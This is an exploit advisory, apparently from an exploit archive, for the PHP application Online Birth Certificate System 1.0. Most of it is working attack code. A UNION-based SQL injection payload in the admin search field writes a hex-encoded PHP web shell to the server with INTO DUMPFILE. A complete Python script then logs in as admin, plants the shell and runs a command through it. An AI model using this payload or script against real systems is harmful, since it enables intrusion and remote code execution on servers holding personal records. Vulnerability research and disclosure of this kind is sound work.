Online Birth Certificate System 1.0 SQL Injection / Code Execution Exploit

# Exploit Title: Online Birth Certificate System - RCE Through SQLi
# Date: 2020-07-08
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=11466
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
---------------- 
/admin/search.php 


Vulnerable Code:
----------------
line 145: $sdata=$_POST['searchdata'];


Vulnerable Issue:
-----------------
line 145: $sdata=$_POST['searchdata']; has no proper sanitization

POC:
----
[+] Inject the following payload inside the Search by Application Number

-1' UNION ALL SELECT 0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE 'C:/UwAmp/www/obcs/1.php'-- -


Python Script POC:
------------------

import requests

#this script is for POC purpose, you could add your own error checking mechanism

username = "admin"
password = "[email protected]"
webshellPayload = "0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e"
path = "%27C%3A%2FUwAmp%2Fwww%2Fobcs%2F1.php%27"
command = "whoami"

print("[+] Stage 1 : Login as admin")

url1 = "http://localhost:80/obcs/admin/login.php"


payload1 = "username=" + username + "&password=" + password + "&login="
headers1 = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Referer": "http://localhost/obcs/admin/login.php", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "41", 
    "Content-Type": "application/x-www-form-urlencoded"
}

requests.request("POST", url1, data=payload1, headers=headers1)


print("[+] Stage 2 : Injecting Web Shell")


url2 = "http://localhost:80/obcs/admin/search.php"

payload2 = "searchdata=-1%27+UNION+ALL+SELECT+" + webshellPayload + "%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL+INTO+DUMPFILE+" + path + "--+-&search="
headers2 = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Referer": "http://localhost/obcs/admin/search.php", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "281", 
    "Content-Type": "application/x-www-form-urlencoded"
}

requests.request("POST", url2, data=payload2, headers=headers2)

print("[+] Stage 3 : Run command\n")

url3 = "http://localhost:80/obcs/1.php?gh1mau=" + command

payload3 = ""
headers3 = {
    "Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5"
}

response = requests.request("GET", url3, data=payload3, headers=headers3)

print(response.text)

#  0day.today [2020-07-19]  #